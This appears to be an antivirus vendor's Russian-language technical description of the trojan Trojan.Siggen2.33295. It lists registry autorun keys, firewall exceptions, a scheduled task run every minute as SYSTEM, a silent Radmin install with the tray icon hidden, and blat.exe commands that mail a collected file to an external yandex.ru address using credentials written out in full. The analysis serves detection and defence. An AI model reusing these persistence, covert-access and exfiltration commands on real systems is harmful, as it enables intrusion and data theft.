Trojan.Siggen2.33295

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'cam_server.exe' = '<SYSTEM32>\sysfiles\server\cam_server.exe pass=svWT{JYYR port=57011'

Создает или изменяет следующие файлы:

%WINDIR%\Tasks\security.job

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\sysfiles\server\cam_server.exe' = '<SYSTEM32>\sysfiles\server\cam_server.exe:*:Enabled:cam_server'

Создает и запускает на исполнение:

'<SYSTEM32>\sysfiles\winver.exe'
'<SYSTEM32>\sysfiles\server\cam_server.exe' pass=svWT{JYYR port=57011
'<SYSTEM32>\sysfiles\blat.exe' "<SYSTEM32>\sysfiles\1.txt" -to JkSCC7rrFu@yandex.ru
'%TEMP%\1.tmp\radmin_install.exe'
'<SYSTEM32>\sysfiles\blat.exe' -install -server smtp.yandex.ru -port 587 -f JkSCC7rrFu@yandex.ru -u JkSCC7rrFu -pw EUI2MKsORm

Запускает на исполнение:

'<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "cam_server.exe" /t REG_SZ /d "<SYSTEM32>\sysfiles\server\cam_server.exe pass=svWT{JYYR port=57011" /f
'<SYSTEM32>\ipconfig.exe' /all
'<SYSTEM32>\reg.exe' import log_pass.reg
'<SYSTEM32>\msiexec.exe' /V
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Radmin\v3.0\Server\Parameters\Radmin Security\1"
'<SYSTEM32>\msiexec.exe' -Embedding 57B103A7C451A73C1881D463D9C160EA
'<SYSTEM32>\find.exe' "ProductName"
'<SYSTEM32>\schtasks.exe' /create /tn "security" /sc minute /mo 1 /ru "NT AUTHORITY\SYSTEM" /tr "<SYSTEM32>\sysfiles\send_IP.exe"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
'<SYSTEM32>\findstr.exe' "IP" <SYSTEM32>\sysfiles\ip1.txt
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\7.tmp\winver.bat" "
'<SYSTEM32>\reg.exe' add HKCU\Console\%SystemRoot%_system32_cmd.exe /v FontFamily /t REG_DWORD /d 0x0000036 /f
'<SYSTEM32>\reg.exe' add HKCU\Console\%SystemRoot%_system32_cmd.exe /v FontSize /t REG_DWORD /d 0x000c0000 /f
'<SYSTEM32>\reg.exe' add HKCU\Console\%SystemRoot%_system32_cmd.exe /v FaceName /t REG_SZ /d "Lucida Console" /f
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\install.bat" "
'<SYSTEM32>\reg.exe' add HKCU\Console\%SystemRoot%_system32_cmd.exe /v CodePage /t REG_DWORD /d 1251 /f
'<SYSTEM32>\reg.exe' add HKCU\Console\%SystemRoot%_system32_cmd.exe /v FontWeight /t REG_DWORD /d 0x00002bc /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Radmin\v3.0\Server" /v HideTrayIcon /t REG_DWORD /d 1 /f
'<SYSTEM32>\netsh.exe' firewall add portopening tcp 57011 all
'<SYSTEM32>\msiexec.exe' /i "radmin.msi" /quiet /norestart
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\sysfiles\server\cam_server.exe" "cam_server" ENABLE
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\2.tmp\radmin_install.bat" "